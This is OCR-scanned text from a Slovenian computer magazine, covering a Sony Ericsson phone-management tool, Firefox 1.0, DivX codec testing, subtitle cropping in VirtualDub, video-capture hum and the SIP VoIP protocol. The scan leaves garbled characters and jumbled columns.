neta (fma.sourceforge.net), za povezavo z ralu-
nalnikom pa smo uporabili bluetooth.

Program omogoca vse, kar omogocajo tudi
klasi¢ni programi: upravljanje z datotekami
v telefonu (prenaSanje v obe smeri, tako slik,
glasbe, zvonjenj, tem); poSiljanje SMS-sporocil
iz racunalnika (napiemo na PC-ju in odposlje-
mo prek telefona), mo#no je tudi shranjevanje
starih SMS-ov v ra¢unalnik; opravljanje telefon-
skih klicev iz ra¢unalnika (¢e imamo slusalke z
mikrofonom), treba je le vklopiti avdio prehod
v vmesniku bluetooth. Mo?no je tudi snemanje
tako opravljenih klicev na trdi disk ra¢unalnika.
Nadalje so nam na voljo: povezava urnika v ra-
Cunalniku in telefonu — podprta je sinhronizacija
z Outlookom, mo?no je urejanje vizitk in ime-
nika (ter povezovanje s slikami, zvonjen;ji ipd);
nastavljanje profilov in obnafanja telefona, pi-

sanje zapiskov z ratunalnikom in shranjevanje v
telefon, upravljanje telefona od dale¢ (¢e imamo
telefon v dosegu bluetootha, a zunaj dosega rok,
lahko prek FMA-ja telefon popolnoma uprav-
ljamo, tudi zajamemo fotografijo ...). Z uporabo
skriptnih dodatkov pa FMA omogota $e nekaj,
Cesar ne omogota noben drug telefon ali pro-
gram — upravljanje ra¢unalnika iz telefona, izri-
suje pa tudi menije, kar pomeni, da lahko telefon
uporabljamo za daljinski upravljalnik pri pred-
vajanju filmov, izbiranju glasbe in podobno
Program ponuja osnovne funkcionalnosti tudi
za K700i in z drugimi, kot je recimo Z1010, ne pa
tudi s po zasnovi zelo razli¢nim P900.
Jaka Mele

floAt’s Mobile Agent

Namenjen: Nadzorni paket za delo z mobilniki Sony
Ericsson

Za: Napredna uporaba telefona ob PC-ju; odprtokodni
paket

Proti: Ne deluje z vsemi telefoni, projekt ne podpira
drugih proizvajalec telefonov

Cena: Brezpla¢no

Spletni naslov proizvajalca: http://fma.sourceforge.net/

da bi nam bilo treba veckrat zagnati FireFox.
Pregledovanje strani je tako enostavnejse in
preglednejse, kot &e za vsako novo stran po-
novno pofenemo brskalnik, kot moramo to pri
Internet Exporerju. Ko se navadimo na zavih-
ke, nam postanejo nepogresljivi pri delu.

Firefox ima %e privzeto vdelan predvajalnik
Flash, s katerim nam je dosegljiva ve¢ina eks-
oti¢ne vsebine v internetu. Poseben dodatek
je RSS-predvajalnik, ki omogoca prebiranje
novic, na katere se naro¢imo prek nekaterih
spletnih strani (denimo news.com).

Posebna pozornost je namenjena varnosti
pri brskanju. Tako je mogo&e prebrati pravi
spletni naslov varnih transakcij (https) in se
pri vsaki odlogiti, ali nadaljevati ali ne. Spletni
naslovi se namre¢ lahko ponarejajo. Firefox je
razmeroma varen pred varnostnimi luknjami,
saj ni tako na »udaru« kot Internet Explorer,
vsako odkrito luknjo pa avtorji hitro zakrpa-
jo. Medtem ko ima Opera tefave z nekaterimi
stranmi, ki uporabljajo varne povezave, kot je
denimo Klik NLB, Firefox deluje brez teav. Z
mo&nim Sifriranjem lahko celo zag¢itimo gesla,
ki jih imamo v brskalniku, in po Zelji blokira-
mo nadle?na okna.

Obcasno se pojavljajo te¥ave z nestandard-
nimi spletnimi stranmi, ki jih Firefox ne pod-
pira najbolje, avtorji namre¢ gradijo jedro na
standardnih specifikacijah DHTML. Nekatere
strani so napisane prav za Internet Explorer in
tak$ne se pomanjkljivo prikaZejo na Firefoxu.
Resnici na ljubo pa je taksnih strani vse manj
in pri ve¢tedenski uporabi nismo naleteli na
velje tezave.

Firefox je sodoben brskalnik, ki ima precej
prednosti pred Internet Explorerjem. Ne za-
sede veliko pomnilnika, dobro deluje tudi v
Sibkejsih ratunalnikih in na razli¢nih operacij-
skih sistemih, dobro je poskrbljeno za varnost,
namestitve dodatnih modulov so zelo enostav-
ne, nastavitve pa si lahko prenesete iz drugih
brskalnikov. Poleg vsega je brezpla&en, zato si
zaslu¥i, da ga vsaj preizkusimo. Ce Zelimo kaj
ved kot samo spletni brskalnik, pa je treba po-
sedi po paketu Moxzilla, ki vsebuje $e odjemal-
ca elektronske poste in program za izdelovanje
spletnih strani. Temelji na istem jedru, zato
zdruzljivost s Firefoxom ni vprasljiva. Lahko pa
vrzemo oko $e na tretjega tekmeca, Opero.

| |

Firefox 1.0

Kaj: Spletni brskalnik

Za: Hitrost, modularna zasnova, zavihki, kanali RSS,
neposredna uporaba iskalnikov, razli¢ni operacijski
sistemi

Proti: Nepravilno prikaZe nekatere strani, pisane prav
za Internet Explorer

Operacijski sistem: Windows 98 XP,

Mac 0S X > 10.2, Linux

Cena: Brezplacen

Spletni naslov proizvajalca: www.mozilla.org/products/
firefox
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izbira kodeka

KATERI JE PRAVI? S8

Imamo film in bi ga radi predvajali prek racunalnika ali DivX-
predvajalnika. Kako ga stisniti? Kateri kodek uporabiti?

PiSe: Zoran Banovié
zoran.banovic@mojmikro.si

ravzaprav eno najpogostejsih vpraSanj,

ko govorimo o DivX-predvajalnikih, je,

s katerim kodekom naj bo film stisnjen,

da bo slika najboljsa. Ce boste vprasali
druge lastnike predvajalnikov, ki so se tej temi
malce bolj posvetili, vam bo vsak odgovoril
drugace. Eni bodo rekli DivX 5.x, drugi DivX
3, tretji Xvid, Cetrti bodo prisegali na Micro-
softov. Windows Media Video. Zakaj takine
razlike? Ali res ni mogo&e preprosto ugotoviti,
kateri kodek je najbolj§i in uporabljati samo
tega!

Zal je problematika malce bolj zapletena. Pri
DivX-predvajalnikih ne gre za napravo, nare-
jeno po Siroko sprejetem standardu, kot je to
recimo klasi¢en DVD. V DivX-predvajalnik je
vdelan klasi¢en DVD-pogon, kot ga poznamo
iz racunalnikov, vse drugo pa je bolj ali man;j
odvisno od programske opreme, skrite v njem.
In ker ne gre za standard, se ta oprema razlikuje
od modela do modela.

Vsak proizvajalec se trudi po najboljsih mo-
Ceh, da bi izdelal taksno programsko opremo,
ki bi omogo&ala kar se da kakovostno pred-
vajanje &im vedjega Stevila formatov datotek
in filmov, stisnjenih na razlitne nacine. Ce
pogledate tehni¢ne lastnosti predvajalnika,
boste videli, da je nastetih podprtih formatov
res cela vrsta. In Cisto vsi so narejeni s tak$nim
ali druga¢nim nacinom stiskanja datotek. A ta
»podprtost« je zelo relativna, saj je nekaterim
uspela bolj, drugim pa manj. Idealnega pred-
vajalnika zaenkrat (3¢) ni in mo¢no dvomim,
da sploh kdaj bo. Pri ¢isto vsakem boste nale-
teli na kaks$no datoteko, ki se prek ra¢unalnika
vidi ali sligi odli¢no, pri predvajanju s pred-
vajalnikom pa je zani¢. To pomeni, da proiz-
vajalcu ni najbolje uspela programska oprema
za podporo temu nadinu stiskanja. In glede na
sedanje stanje ni¢ ne ka%e, da bo v bliZnji pri-
hodnosti kaj drugade. Vsaj kar zadeva cenene
predvajalnike.

SPOZNAJ SV0J PREDVAJALNIK

Kaj lahko torej naredimo? Edini mo%en na-
¢in, kako prepreciti te¥ave, je dobro pozna-
vanje svojega predvajalnika. Ugotoviti mo-
ramo, kateri tipi datotek oziroma kodeki mu
»leZijo« bolj in kateri manj. Skoda bi namre¢
bilo, da dobimo film, mu prilagodimo zvok (o
tem smo govorili v prej¥nji §tevilki), mu doda-
mo podnapise (o tem v predprejinji), priredi-
mo velikost slike in $e kaj, nato pa ugotovimo,
da je v predvajalniku vse skupaj prava no¢na
mora. Vsekakor bi bilo bolje, &e lahko bi Ze ob

pretvarjanju filma lahko nastavili vse skupaj
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tako, da bi zanesljivo dobro delovalo. In kako
to narediti?

Eden od nacinov bi bil, da ugotovimo, ka-
teri film dela te¥ave, in pogledamo njegove
lastnosti. Lastnosti lahko dokaj dobro vidimo
v programu VirtualDub, $e bolje pa je, e na-
mestimo program Gspot, ki ga je mogo&e brez-
pla¢no sneti iz interneta, najdemo pa ga tudi
kot sestavni del paketa K-Lite Codec Pack.
Ko torej vidimo, s katerim kodekom je bil film
stisnjen, vemo, s katerim ima na¥ predvajalnik
teZave. In ¢e kdaj spet naletimo na tak film, ga
lahko %e pred snemanjem na CD ali DVD pre-
kodiramo v format, ki je naSemu predvajalniku
prijazne;jsi. Ta metoda sicer deluje, saj je dokaj
preprosta in ne zahteva dodatnega dela, je pa
tudi nerodna in nam ne da popolne slike »zna-
&aja« naega predvajalnika.

Boljsa metoda, ki sicer zahteva nekaj dela,
je izdelava testnega CD-ja ali DVD-ja, na
katerega shranimo filme, stisnjene na razli¢-
ne nacine. Ta CD ali DVD nato vstavimo v
predvajalnik, si ogledamo vsak film posebej in
ugotovimo, kaj predvajalniku ustreza in kaj ne.

A kako izdelati tak CD ali DVD?

TESTIRANJE JE
MATI KAKOVOSTI

Ideja testnega medija je v tem, da nanj shra-
nimo kratke, nekajminutne odlomke in istega
filma, stisnjene z razli¢nimi kodeki in nasta-
vitvami. Ce predvajalnik podpira predvajanje
filmov Divx iz DVD-ja in &e seveda imate zapi-
sovalnik DVD-jev, je najbolje te filme shraniti
na DVD, ¢e pa imate le zapisovalnik CD-jev
ali pa predvajalnik ne podpira predvajanja iz
DVD-ja, potem se pal zadovoljite z enim ali
vel CD-ji.

Zakaj DVD ali ve¢ CD-jev? Preprosto zato,
ker imamo lahko v ra¢unalniku celo goro ko-
dekov. Ce v programu Gspot izberemo System/
List Codec and other filters, se lahko zgodi, da
dobimo v seznamu tudi vec kot 200 elementov.
Vsi res niso kodeki, torej kodirniki in dekodir-
niki, saj je veliko tak$nih, ki so recimo le deko-
dirniki ali druga orodja, povezana s filmom in
glasbo, a je tak3nih, ki so uporabni za stiskanje,
kljub temu veliko.
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V seznamu kodekov, ki jih imamo v racunalniku, jih je
lahko tudi veé kot.

Ce torej hotemo izdelati dober testni CD ali
DVD, moramo zajeti &im ve¢ kodekov, to pa
pomeni, da bo testnih filmov kar precej. In
zato je seveda bolje, ¢e jih lahko spravimo na
DVD.

In kako se torej lotimo izdelave testnega
medija? Najpomembnejsa je izbira originala.
Ta mora biti ¢im bolj§i, po mo?nosti vsebova-
ti veliko podrobnosti in kak§no sceno hitrega
premikanja. Najbolje je, ¢e imate kak film, ki
ste ga sami posneli z videokamero in prenesli v
racunalnik, e pa tega nimate, izberite film, ki
vas je navdusil s kakovostjo slike.

Naslednji korak je izbira scene. Kot receno,
naj bo scena svetla, &im bolj polna podrobno-
sti in vsebuje naj kaksno hitro gibanje. Iz tega
filma izrefemo dvominutni odsek in ga shra-
nimo, recimo z imenom Testni film.avi. Kako
pa to naredimo? Verjetno vam je Ze dolgcas od
omenjanja tega programa, a spet bomo upora-
bili VirtualDub. V njem odpremo film in se z
drsnikom »sprehodimo« po njem, da najde-
mo zaletek prave scene. Na tem zacetku pri-
tisnemo gumb s polovi¢no puitico, obrnjeno
v levo. Nato se premaknemo za kaksni dve
minuti naprej (Cas je zapisan v vrstici stanja
VirtualDuba) in pritisnemo gumb s polovi¢no
pusdico, obrnjeno v desno. S tem smo izbrali



zaletek in konec naSega odseka. Zdaj izbere-
mo Video/Direct stream copy in Audio/ Direct
stream copy in s tem VirtualDubu povemo, naj
ne izvaja nobene funkcije nad sliko in zvokom.
Nato izberemo File/Save as Avi in damo od-
seku ime Testni film.avi.

namestite v naslanja¢. Pred tem si ne pozabite
pripraviti papir in pisalo, kamor boste vpisova-
li opazke. Tako. Najprej poZenite testni film in
si ga Se enkrat pozorno oglejte, da ga boste laZe
primerjali z narejenimi. Nato poZenite prvi na
novo stisnjen film in natan&no opazujte, kaj se

V testnem filmu
izheremo odsek, ki je

A svetel, vsebuje veliko
_~  podrobnosti in gibanja.

Tako, osnova za test je izdelana in lahko se
lotimo stiskanja z razli¢nimi kodeki. V Vir-
tualDubu odpremo testni film in izberemo
Video/Compression. Odprlo se bo okno, v
katerem najdemo vse kodeke, ki jih je Virtu-
alDub prepoznal kot nekaj, kar je sposobno
stisniti oziroma obdelati film. Kar nekaj teh
kodekov lahko preskotimo, saj niso primerni
za stiskanje filma na nacin, ki bi bil uporaben v
predvajalniku. Tak$ni kodeki so recimo vsi In-
tel Indeo, neuporaben je tudi nestisnjen nadin
(uncompressed RGB ali kaj podobnega) in Se
kaj bi se naslo. A pojdite lepo po vrsti. Izberite
prvi kodek, in ¢e omogoca kak$ne nastavitve,
jih nastavite na privzete, nato pa shranite da-
toteko pod imenom, ki bo vsebovalo ime ko-
deka. Ko je stiskanje koncano spet izberemo
Video/Compression, izberemo naslednji kodek
in postopek ponovimo. Veasih se bo zgodilo,
da bo VirtualDub sporotil napako ali se celo
sesul, a to naj vas ne moti. Razlog za to je v
tem, da kodek ni »pravi« kodek. Lahko je na-
menjen le predvajanju, torej ne vsebuje funk-
cije kodiranja, lahko pa tudi, da je VirtualDub
napaéno ugotovil, da gre za kodek. Ce ne gre,
preidite na naslednji kodek iz seznama.

Ko boste konéali, vas bo na disku ¢akalo to-
liko filme¢kov, kot imate veljavnih in delujogih
kodekov v ra¢unalniku. S tem ste izvedli prvo
fazo. Zdaj odprite mapo, kamor ste shranjeva-
li filme in %e lahko vidite prve informacije o
tem, kako se kak kodek obnasa. Videli boste
namred velikosti datotek. Razlike med njimi
so lahko kar precejinje, tudi 50 odstotkov. A
naj vas to ne zavede. Velikost datoteke ni ni-
kakrSen znak za kakovost izdelanega filma. Je
le informacija o tem, kako mo&no lahko kodek
s privzetimi nastavitvami stisne film.

Vse te filme, vklju¢no s testnim, zdaj zapi-
Site na DVD ali CD in se preselite v dnevno
sobo, vstavite medij v predvajalnik in udobno

dogaja. Oglejte si, kako ostra je slika, kaksno je
gibanje in kak3ne so enobarvne ploskve. Opaz-
ke si zapisite. In tako za vsak filmeek oziroma
kodek. Ko boste kon¢ali, boste dobili razmero-
ma dober seznam tega, kaj va§ predvajalnik
zmore. Ugotovili boste recimo, da je pri kode-
ku DivX5.x slika dobra, pri DivX3 malce mot-
na, pri Xvid je gibanje odsekano in podobno.

izbira kodeka

Ce ste recimo ugotovili, da je pri nekem filmu
gibanje tekoge in brez preskakovanja, slika pa
malce neostra, povecajte bitno hitrost kodiranja.
Ta je izra¥ena v bitih ali kilobitih na sekundo
(B/s oziroma KB/s) in v bistvu pomeni, s koliko
biti se bo v povpre&ju opisala vsaka sekunda fil-
ma. Logika nam govori, da ve& kot je teh bitov,
bolj3a bo slika, saj bo v sebi nosila ve¢ informa-
cij. To pa seveda pomeni tudi to, da bo datoteka
nekoliko vegja. Torej — povedajte bitno hitrost
in ponovno kodirajte film. Seveda mu dajte tudi
novo ime, recimo DivX 5.x z 900 kbps.avi. Nato
mogoce spet dvignite bitno hitrost in ponovno
kodirajte. Tako boste dobili ob¢utek, kako ta hi-
trost vpliva na kakovost filma.

Ce ste opazili, da se je dologen kodek res do-
bvro odrezal, se s tem vsekakor ne zadovoljite.
Ce vas res ni¢ ni motilo, to Se ne pomeni, da
je ta kodek s temi nastavitvami res to, s &imer
se vas predvajalnik najbolje razume. Kaj pa ve-
likost datoteke? Lahko se namre¢ zgodi, da so
privzete nastavitve taksne, da je rezultat &udo-
vit, velikost datoteke pa tako velika, da boste
film le stezka spravili na en CD, lahko pa boste
imeli te¥ave tudi s shranjevanjem na dva. Ce je
bil film res dober, lahko zmanjsate bitno hitrost
in pogledate, kaksen je rezultat. Tudi tu lahko
naredite dva ali tri vzorce in zadevo shranite z
razli¢nimi imeni.

Podobno je pri kodekih, kjer ste recimo
zasledili zelo odsekano gibanje. Velikokrat
je mogoe z nastavitvami napake omiliti
ali pa jih celo popolnoma odpraviti. Ce ste
naleteli na tak film, preglejte nastavitve ko-

Primerjava kodekov s pomocjo testnih filmov postreze z zanimivimi rezultati, ki se véasih razlikujejo od splosno

a

sprejetih mnenj - kodek je toliko dober, kolikor dobro ga zna tolmaciti nas predvajalnik.

Manj zahtevni uporabniki boste zadovoljni
%e s tem. Zahtevejsim pa to ne bo dovolj. Zani-
malo vas bo recimo tudi to, s kak$no hitrostjo
naj bo film kodiran, da bo slika dovolj dobra,
datoteka pa ne prevelika. Ce sodite mednje,
lahko postopek nadaljujete. Najprej z diska iz-
briSite vse testne filme, ki jih vas predvajalnik
sploh ni prepoznal ali pa je z njimi imel velike
tefave. Filme, kjer slika ni bila dovolj ostra ali
pa je bilo gibanje odsekano, zaenkrat $e pusti-
te. Vzemite v roke seznam opazk in se posveti-
te filmom, ki so ostali.

Pri vsakem predvajalniku boste

naleteli na kakSno datoteko, ki se prek
racunalnika vidi ali slisi odli¢no, pri
predvajanju s predvajalnikom pa je zanic.
deka in poskusite najti izraze, kot so Motion
detection, Motion Compenstation in podo-
bne, poleg tega pa se tudi tu lahko poigrate z
bitnimi hitrostmi. Pomembno je, da za vsak

testni film, ki ga izdelate, izvedete le eno
spremembo. Ce jih namre¢ naredite veg,
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izbira kodeka

ne boste vedeli, katera je tista, ki je te¥avo
odpravila, ali tista, ki je ustvarila novo. Se-
veda pri shranjevanju pazite, da boste dajali
ustrezna imena filmom, lahko pa si vse na-
stavitve tudi kam zapiSete, da boste pozneje
lahko rekonstruirali najboljSe nastavitve in
jih vedno uporabljali.

Pri tem povejmo Se nekaj. Vasih se zgodi,
da imajo DivX-predvajalniki teZave, &e imamo
na DVD-mediju datoteke shranjene v mapah.
Zgodi se namred, da je film, ki je v osnovnem
imeniku, &isto v redu, e pa je v mapi, pa ne.
Tudi to lastnost je mogo&e s testnim DVD-jem
preveriti, saj je najmanjsi problem filme spra-
viti v mapo. Morda ga izdelamo celo tako, da
izdelamo mape za vsak kodek posebej, vanje
pa shranimo filme z razli¢nimi nastavitvami. S
tem bomo na eni strani testirali, kako se pred-
vajalnik obnasa, ¢e so datoteke v mapah, na
drugi strani pa bo medij pregledne;si.

Vsekakor je jasno, da ugotavljanje, kate-

ri kodek je pravi, ni ravno opravilo, ki bi ga
bilo mogo&e opraviti v nekaj minutah. Sicer
pa — &e predvajalnik, ki je pred letom stal pet-
krat veg, postane tako poceni, je skoraj logi¢-
no, da vse na njem ne bo delovalo tako, kot
si predstavljamo in Zelimo. Kot kupec bi si to
sicer ¥eleli, a realno stanje je pa¢ taksno, kot
je. Idealnega predvajalnika ni in ga verjetno
nikoli ne bo, zato se pa moramo sprijazniti z
nekaterimi kompromisi in se tudi pripraviti na
to, da bo treba za prave filmske uZitke kupiti
ali si sposoditi originalen DVD ali pa biti pri-
pravljen na kolobocije.
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Va3 odziv na temo o DivX-filmih in teZa-
vami z njimi je dober znak, da je to nekaj,
kar vas zelo zanima. Posebej so vas zanimale
tefave s podnapisi in nadin, kako jih vstaviti
v film tako, da bo zadeva gledljiva ne glede
na to, katere podnapise predvajalnik podpi-
ra. O tem smo govorili v oktobrski
Stevilki Mojega mikra in o&itno
ste se zadeve resno lotili. Kako to
vemo! Po tem, da nam Ze piSete o
prvih tefavah. Najpogostejsa je ta,
da ste naredili vse tako, kot je treba
— podnapisi so pravilno sinhronizi-
rani, slika je formata 4:3, podnapisi
pa se lepo prikazujejo v ¢rnem tra-
ku pod njo. A teZava je v tem, kako
te podnapise zamenjati. Ko ste film
naredili, so bili podnapisi srbohrva-
8ki ali pa v sloveni¢ini, ki je bila
vse prej kot berljiva. Zdaj ste nasli
nove podnapise, ki so super, a origi-
nalnega filma ve& nimate, imate le
tistega, v katerega so podnapisi Ze

okno s filmom, poleg katerega bo okence s
koordinatami X in Y. Te koordinate pomeni-
jo navpi¢no in vodoravno os oziroma vi§ino
in $irino filma. Ker nas zanima visina, bomo
spreminjali koordinate Y. Vrednost Y1 pome-
ni obrezovanje od vrha proti dnu, Y2 pa od
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»vgravirani«. Ali obstaja moznost
zamenjave podnapisov?

Seveda 0b§taja, a z nekaterimi
omejitvami. Ce so podnapisi v celoti v &rnem
traku pod sliko, jih je mogoce zamenijati, e
pa so na sliki, pa ne. ReSitev je namrec v tem,
da sliko obreZzemo tako, da ¢rni trak odstrani-
mo, nato pa ponovimo postopek vstavljanja.
Ce so podnapisi v sliki, jih seveda ne gre od-
straniti.

Imamo torej film, kjer so podnapisi v &rnem
traku oziroma razSirjenem okvirju filma. Ta
trak zgoraj in spodaj
bomo odrezali, nato
pa postavili nov
okvir in vanj dali
nove podnapise. In
katero orodje bomo
uporabili? Uganili
ste, VirtualDub.

Logi¢en postopek
bi bil, da v Virtu-
alDubu  odpremo

o g ok e ST

Funkcija Null Transform programa VirtualDub skriva moznost
obrezovanja filma.

dna navzgor.

Vrednosti ni treba postavljati na pamet, saj
s pritiskom na gumbke za spreminjanje vidi-
mo, za koliko bo film obrezan. Ker pa je na
zaletku filma obi¢ajno prazna slika, se mo-
ramo postaviti nekoliko naprej, toliko da se
prikaZe prva slika. Ko dolo¢imo, za koliko naj
se slika obreZe, nastavitev shranimo, nato pa
Se datoteko.

film in med filtri
pois¢emo kaksnega,

i J e mw  ear  Ow ole A
ol o] el -l 34 Do o o

ki se bi mu reklo
Crop ali kaj podo-
bnega. A ga boste
zastonj iskali. Lump
se namre¢ skriva. In to v filtru, imenovanem
Null transform. Ta pravzaprav ne po¢ne ni¢-
esar pametnega, je pa res, da se v njem skriva
moznost obrezovanja velikosti filmskega ok-
virja. Odpremo torej film, za zvok izberemo
neposredno kopiranje, saj zvoka ne bomo
obdelovali, v meniju Video pa izberemo Full
processing mode. Nato izberemo Video/Fil-
ters, pritisnemo gumb Add in pois¢emo filter
Null transform. Ob dvakratnem kliku nanj se
bo odprlo okno, kjer bo tudi gumb z imenom
Cropping. Ce ga pritisnete, se bo odprlo novo

nove podnapise.

Ce imamo okoli filma érn okvir, v katerem so podnapisi, je taksne podnapise
mogoce zamenjati - okvir odrezemo in ga zamenjamo z novim, ki mu dodamo

Ko bo film shranjen, moramo ponoviti
postopek vstavljanja podnapisov, kot smo
ga opisali pred dvema mesecema. Pri tem je
pomembno, da tako pri shranjevanju filma
kot pri ponovnem vstavljanju podnapisov, ne
zmanjSujemo bitne hitrosti, saj to lahko vpli-
va na kakovost filma. Nastavitve naj bodo
torej enake kot v originalu.



DOMAG! VIDEO STUDIO

Vprasanje: Zelim zajeti video iz videorekorderja. S prenosom
videa je sicer vse vredu, vendar se mi pri zajemu in
poznejSem predvajanju poznajo na videu Crte in avdio dobi
»brum«. Kaj lahko naredim, da se zajeti posnetek izboljSa
oz. slika o€isti Crt, iz avdio signala pa izgine »brum«?
Uporabljam program je Pinnacle Studio 9, naprava pa je
Dazzle 120. Hvala!

Odgovor: Mote€i »brum« nastane zaradi razli¢nih napetostnih
potencialov na masi. Obi¢ajno je to 50 Hz $uma. Ce je
intenziteta 50 Hz Suma zelo mocna, se ta lahko prenasa
tudi na sliko.

Dve stvari sta lahko narobe: PC ima lahko slabo ozemljitev ali pa
je videorekorder v okvari. DVC 120 ima enosmerno napajanje. Moznost, da je ena od
usmerjevalnih diod »prebita« in s tem ne usmerja ve¢ pravilno, sicer obstaja, je pa
malo verjetna, saj v tem primeru tudi DVC120 ne deluje vec. Poskusite z zamenjavo
220 V faze pri racunalniku. To pomeni, da obrnete 220 V vti¢ ali preklopite na drug
220 V vti€, ki ima drugo fazo ali je »drugace« ozemljen. Napaka je lahko tudi zaradi
slabega napajalnika v PC-ju ter povezave med 220 V ozemljitvijo in posameznimi
komponentami v PC-ju. Prosim, upoStevajte, da je lahko delo z 220V smrtno
nevarno.

Odgovarja:
Andrej Zlindra,
ZAK, d.0.0., Ljubljana

NOVOSTI V RAZLIGICI PROGRAMA STUDIO 9 PLUS

Pinnacle Systems je prej kot pri¢akovano izdal novo razliéico programa Studio 9.
Ze na prvi pogled je opazna sprememba na ¢asovnem traku (Time-line), kier sta
dodanani Se ena videosteza in avdiosteza. Ta novost nam zdaj omogoca izdelavo
slike v sliki (PIP) in tako imenovani barvnostni kljué ali ucinek Ghroma Key.

Pravilna uporaba ucinka Chroma Key

Kot Ze omenjeno, za to potrebujemo dve enakovredni video stezi in ustrezen video material.
Najlaze bomo ustrezni in kakovostni rezultat dosegli, ¢e imamo npr. osebo, posneto
pred enobarvnim platnom ali drugim ozadjem. Pri tem moramo paziti, da se barva ozadja
ne pojavlja tudi v osebi sami ali na oblacilih. Oseba se seveda lahko prosto giblje

- UPRASANJA IN ODGOVORI

po kadru. MontaZe se lotimo tako, da kader osnovnega videa, to je ozadje, ki se bo
pozneje pokazalo za osebo, postavimo na zgornjo stezo (tocka 1). Osebo, posneto
pred platnom, pa na spodnjo stezo (tocka 2). V naslednjem koraku odpremo

z misko levo stran kovcka (tocka 3), zamenja se nam album, v katerem zdaj
najdemo na spodnjem zavihku razliéne ucinke, med drugim tudi Chroma Key (tocka
4). Za izolacijo dolocene barve, v tem primeru barve platna, uporabimo Color-picker
(miSkin kazalec dobi drugo obliko) ter s tem ozna€imo barvo platna (Tocka 5). To
naredimo v predoglednem oknu na desni. V tem trenutku program Studio Ze zazna
pravilne barvne nastavitve in takoj pokaze rezultat - osebo pred novim ozadjem, tistim ki je
na zgornji stezi. Seveda lahko zdaj uporabimo Se dodatne nastavitve, s katerim lahko
izboljSamo rezultat.

Po istem postopku, le,
da ne uporabimo ukaza
za ucinek Chroma Key,
naredimo tudi sliko v sliki.
Za oba primera pa velja
moznost dela z »Zivim«
videom.

Nazadnije pa je tu Se
ena novost, ki se ji

. pravi Pan&Zoom. Ti dve

- moznosti nam Se kako
prideta prav, kadar
zehmo stati€ne sllke (fotografije) uporabm v videu, jih umestiti na doloeno mesto.
Ali upravljati s fotografijami tako, da jih priblizamo ali oddaljimo.

Novih moznosti v programu Studio 9 plus je sicer Se veliko veé, vendar so tudi
»zaklenjene«. To pomeni, da je za uporabo potrebno aktiviranje prek interneta, ki pa zal
ni brezplacno. Tu se je v preteklem mesecu nabralo veliko vprasanj, ali bi bilo mozno
ta postopek opraviti tudi v Sloveniji. Zaenkrat lahko re¢em, da se z Pinnaclom
dogovarjamo o odkupu nekaterih najpogosteje zazelenih aktivacijskih kljuev, ki jih bo
potem mogocCe kupiti pri nas brez poslovanja s kreditnimi karticami prek interneta.

N 3 4 e s

e

propagandna informacija

Premilkajode se siiliice na televiziji, ralunainiku ter ostalih informacijskih in
igrainih napravah nas prevzemago v vseh aspelkth Zivijenja Prvovrsina reainost

m dinamika sta e zdavnaj tista nujnost, Id ji sledimo v podjetiju ZAK do.o.

WACOM Grafifne tablice
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sam svoj mojster: mala Sola IP-telefonije (4. del)

DOMACA »UBIJALSKA« RESITEV

Verjetno je marsikdo med bralci ze sliSal za tako imenovane »ubijalske
aplikacije« (killer application). V svetu racunalniStva je to program oz. izdelek,
ki ga zaradi uporabnosti ljudje kupujejo kot vroCe zemljice, ali pa kupijo osebni
racunalnik zaradi uporabe tovrstnih programov. Nedvomno se takSen sloves

obeta tudi IP-telefoniji za domaco rabo ...

PiSe: Evan Ambroz
evan.ambroz@email.si

z preteklosti in v sedanjosti poznamo kar

nekaj tak$nih programov in izdelkov na

razli¢cnih podro&jih — urejevalnik besedil,

elektronska tabela Lotus 1-2-3, okolje
Windows, GSM-telefon, pofiljanje SMS-spo-
rocil, identifikacija klicotega oz. klicne Ste-
vilke v ISDN-u, zapis MP3 ... Ce se omejimo
le na podrotje svetovnega spleta, gotovo ne
moremo mimo deskanja po spletnih straneh in
elektronske poste.

V vsebine se ne bomo podrobneje spus¢ali,
splosno znano pa je, da vedji del moske popu-
lacije rad pogleda lepo zaobljeno zadnjico ali
bogato oprsje. Najveckrat pa se zgodi, da velik
uspeh dolocene storitve ni posledica globokih
stratedkih odlotitev, temvet je bil izdelek raz-
vit kot plod iskanja svojega mesta pod soncem
v dologeni trrni nisi. Ceprav je napovedovanje
prihodnosti izredno nehvale?no delo, lahko z
veliko gotovostjo trdim, da je prenos govora
po internetu ali VoIP obsojen, da bo prej ali
slej v eni od svojih oblik postal tovrstna apli-
kacija (v dolo¢eni meri je Ze danes).

Doslej smo lahko spoznali osnovne znadil-
nosti VoIP-a. Zaradi &im la¥jega razumevanja
smo nekatera dejstva poskusali &im bolj po-
enostaviti. Obdelane reSitve pa so v stvarnem
Yivljenju popolnoma uporabne. Da ne bi prislo
do meSanja razli¢nih pojmov, smo se nekoliko
bolj usmerili na protokol H.323, danes pa si
bomo pobliZje ogledali protokol SIP (Session
Initiation Protocol).

SIP ROJSTVO NA PRAGU TISOGLETJA
Zaletki SIP-a segajo v leto 1995, se pravi v
&as, ko je imel protokol H.323 prednost (prvim
prakti¢nim izvedbam SIP-a smo bili pri¢a v letu
2001). Nekako v tem €asu so pri podjetju Mic-
rosoft predstavili prvo razli¢ico komunikacij-
skega programa NetMeeting (uporablja H.323)
kot del okolja Windows. Marsikdo si s tem pro-
gramom v tem ¢asu ni mogel prav veliko po-
magati — sem in tja morda kak klic v krajev-
nem omre%ju prek IP-naslovov ter prilofnostna
konferenca prek spletne kamere. Razlog je bil,
da ni bilo na voljo ustreznih (za povpre¢nega
uporabnika cenovno dostopnih) H.323 preho-
dov (gateway) oziroma vratarjev (gatekeeper).
Ironija je, da so takratno »smetano« zanima-
nja pobirali najrazli¢nejsi servisi (stre¥niki), ki
so omogodali internetno telefonijo (podobno
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kot danes recimo Skype) — ve&ina teh pa danes
ne obstaja vel ali so se preoblikovali. Eden od
razlogov je tudi ta, da vse ve& javnih servisov
podpira protokol SIP, naklonjeni pa so mu tudi
pri Microsoftu (Messenger), kjer NetMeeting
oziroma H.323 bolj ali manj tiho izrivajo. Poza-
biti ne smemo niti na pomen SIP-a v mobilnih
omre%jih tretje generacije.

Se bolj kot
kakovost, stabilnost
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Namestniski SIP-streznik Ondo trenutno aktivne
zveze ter programski telefon X-ten

Snom 200 sodi
med referencne
IP-telefone za SIP
oziroma Asterisk
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povezovanje z
javnim omreZjem.

ZAKAJ ZANIMANJE ZA SIP?

Povrsen opazovalec bi lahko hitro ugotovil,
da je razlog pal internetno okolje oz. IETE
ki je zaslufno za razvoj protokola SIP. Razlogi
pa so globlji, saj gre za dolo¢ene konceptual-
ne razlike (obi¢ajnemu uporabniku skrite), ki
jih prinasa glede na H.323. SIP je razmeroma
